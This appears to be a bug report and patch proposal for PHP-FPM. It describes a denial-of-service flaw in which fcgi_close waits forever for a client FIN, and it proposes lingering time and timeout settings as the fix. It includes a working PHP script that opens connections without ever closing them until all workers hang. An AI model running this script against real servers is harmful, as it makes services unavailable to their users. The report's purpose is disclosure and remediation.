avoid a php server attack method base fin loss

problem
=======

I found **a php server attack method base fin loss**
The socket which talk with client is block,  don't set any timeout，and **write a dead loop to receive the fin**
The refer code is here:
```cpp
void fcgi_close(fcgi_request *req, int force, int destroy)
{
  #ifdef _WIN32
    ...........
  #endif
  
      if ((force || !req->keep) && req->fd >= 0) { 
  #ifdef _WIN32
        ...........
        while (recv(req->fd, buf, sizeof(buf), 0) > 0) {} ///hang here if client don't send the pack of fin
        ............
  #else
          if (!force) {
              char buf[8];
              shutdown(req->fd, 1);
              while (recv(req->fd, buf, sizeof(buf), 0) > 0) {} ///hang here if client don't send the pack of fin
          }    
          close(req->fd);
  #endif
          req->fd = -1;
          fpm_request_finished();
      }    
  }
````
The attack method is very easy. We only know the ip && port of php server。 
 **We send a request to php server base fastcgi protocol, and don't close the socket, then one worker will hang.**
 We continued to send such a request， all worker will hang, 
 It can make service unavailable.
 The attack code is here:
````php
<?php
require_once "./lib/fastcgipro.php";

define('FCGI_HOST', '127.0.0.1');
define('FCGI_PORT', 19550);

make_hang_main();

function make_hang_main()
{
    for($cnt = 1; ;++$cnt)
    {
        $socket[$cnt] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        socket_connect($socket[$cnt], FCGI_HOST, FCGI_PORT);

        $content_body = '';
        $fcgi_request_id = $cnt;
        $env = array(
            'SCRIPT_FILENAME' => '/home/file_not_exist.php',
            'REQUEST_METHOD'  => 'GET',
            'CONTENT_LENGTH' => strlen($content_body),
        );

        send_request($socket[$cnt], $content_body, $env, $fcgi_request_id);
        $result = get_response($socket[$cnt]);
        echo "***************$cnt*****************\n";
        var_dump($result);
        //socket_close($socket[$cnt]);//we don't send FIN to server
    }

    //can't run here
    for($i = 1; $i <= $cnt; ++$i)
    {
        socket_close($socket[$i]);
    }
}
````

The stack of hang php  is here:
````cpp
(gdb) bt
#0  0x0000003f0b90b4e4 in recv () from /lib64/tls/libpthread.so.0
#1  0x000000000098ed78 in fcgi_close (req=0x7fffa8c58ad0, force=0, destroy=1) at /home/users/lihongbin/git/php-src/sapi/fpm/fpm/fastcgi.c:763
#2  0x000000000098f82d in fcgi_finish_request (req=0x7fffa8c58ad0, force_close=0) at /home/users/lihongbin/git/php-src/sapi/fpm/fpm/fastcgi.c:1081
#3  0x0000000000999f55 in sapi_cgi_deactivate () at /home/users/lihongbin/git/php-src/sapi/fpm/fpm/fpm_main.c:847
#4  0x0000000000871a9b in sapi_deactivate () at /home/users/lihongbin/git/php-src/main/SAPI.c:536
#5  0x0000000000866580 in php_request_shutdown (dummy=0x0) at /home/users/lihongbin/git/php-src/main/main.c:1817
#6  0x000000000099c317 in main (argc=7, argv=0x7fffa8c5acb8) at /home/users/lihongbin/git/php-src/sapi/fpm/fpm/fpm_main.c:1981
````

solution
======

The nginx has the sample problem, but it own lingering mechanism to solve the problem
Lingering mechanism has three param:
- lingering_close : http://nginx.org/en/docs/http/ngx_http_core_module.html#lingering_close
- lingering_time : http://nginx.org/en/docs/http/ngx_http_core_module.html#lingering_time
- lingering_timeout :  http://nginx.org/en/docs/http/ngx_http_core_module.html#lingering_timeout

Lingering mechanism just limit the time when server close the write socket and continued to receive the data from client in short

So I add two param in php.ini to limit the socket
-  lingering_time_s : when server close the write socket , the maximum time to receive the data from client
-  lingering_timeout_ms : a idle time control, when server close the write socket, if data are not received during this time, the connection is closed

I don't add the param of lingering_close , because we should read the last FCGI_STDIN header